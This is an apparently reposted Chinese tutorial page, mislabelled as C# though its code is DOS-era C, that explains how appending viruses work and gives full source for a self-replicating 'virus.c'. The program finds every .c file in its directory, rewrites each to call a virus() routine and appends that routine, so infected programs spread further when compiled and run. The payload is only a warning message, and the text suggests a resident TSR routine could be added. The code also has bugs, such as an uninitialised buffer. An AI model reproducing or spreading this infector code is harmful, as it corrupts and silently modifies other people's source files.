php C#写的一个非常简单的病毒程序
病毒的特点:病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。 从程序的角度来说,我们要做的事情有两件:1,让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序,使它具备继续复制的能力。2,在一定条件下使其产生 某种发作效果。其实第一件事情实际上可以看成对文件进行复制,把病毒源文件的功能函数全部放到被感染文件的最后,同时在被感染文件中调用这个函数下面给出c语言的实现 过程:1,主程序调用病毒功能函数2,病毒功能函数读取查找同目录下所有c文件;3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量;4,重新创 建一个同名文件(被感染c文件)5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数调用语句写入;6,打开病毒源文件,将病毒功能函数 全部写到被感染c文件的最后;这样一个简单的c语言伪病毒virus.c就完成了运行程序后其内容变化另保存为after_virus.c此时,如果我们将1.c文件 用A盘复制到其他机器或者Email给别人,结果他们一运行又感染了他们保存1.c文件目录下所有c文件对于第二件事情-------“发作效果”,这里只用prin tf语句警告了一下,当然你完全可以写一个TSR驻留函数其实,这个程序勉强可以叫做病毒根本不算是真正的病毒,好了就说这么多,代码如下:本文转自 ☆★ 包罗万象 ★☆ -www.baoluowanxiang.com转载请注明出处,侵权必究!原文链接:http://www.baoluowanxiang.com/a/pr ogram/csharp/2011/0722/3512.html
Program.cs
u #include <stdio.h> #include <dir.h> void main(void) { virus(); } int virus() { struct ffblk ffblk; FILE *in,*out,*read; char *virus="virus.c"; char buf[50][80]; char *p; char *end="return"; char *bracket="}"; char *main="main"; char *include[2]={"stdio.h","dir.h"}; char *int_virus="int virus()"; char *buffer; int done,i,j=0,flag=0; printf("\nI have a virus. Writen by PuBin\n"); done = findfirst("*.c",&ffblk,0); while (!done) { i=0; if ((in = fopen(ffblk.ff_name, "rt"))== NULL) { goto next; } do{ if(i>=50) { fclose(in); goto next; } p=fgets(buf[i],80,in); i++; }while(p!=NULL); fclose(in); out=fopen(ffblk.ff_name,"w+t"); fputs("#include<stdio.h>\n",out); fputs("#include<dir.h>\n",out); do { if(strstr(buf[j],main)!=NULL) { for(;j<i-1;j++) if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL) fputs(buf[j],out); else { if(flag==0) { flag=1; fputs("virus();\n",out); } fputs(buf[j],out); } } else if((strstr(buf[j],include[0])==NULL) &&(strstr(buf[j],include[1])==NULL)) { fputs(buf[j],out); j++; } else j++; }while(j<i-1); read=fopen(virus,"rt"); do { p=fgets(buffer,80,read); if(strstr(buffer,int_virus)) while(p!=NULL) { if(strstr(buffer,virus)==NULL) fputs(buffer,out); else { fputs(" char *virus=\"",out); fputs(ffblk.ff_name,out); fputs("\";\n",out); } p=fgets(buffer,80,read); } }while(p!=NULL); fclose(read); fclose(out); printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name); next: done = findnext(&ffblk); } return 0; } //http://www.baoluowanxiang.com/a/program/csharp/2011/0722/3512.html